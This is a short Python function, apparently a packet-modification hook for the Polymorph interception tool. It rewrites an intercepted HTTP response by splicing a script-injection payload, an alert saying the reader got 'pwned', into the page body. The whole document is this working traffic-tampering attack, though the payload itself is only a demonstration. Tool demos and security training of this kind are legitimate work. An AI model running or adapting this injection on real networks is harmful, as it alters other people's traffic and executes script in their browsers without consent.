shramos

def mod_http_val(packet):
    data = packet['RAW.HTTP']['file_data']
    payload = '"><script>alert("You just got pwned with Polymorph!")</script>'
    plen = len(payload)
    start = len(data) - plen + 1 - 16
    stop = len(data) - 16
    packet['RAW.HTTP']['file_data'] = data[:start] + payload + data[stop:]
    return packet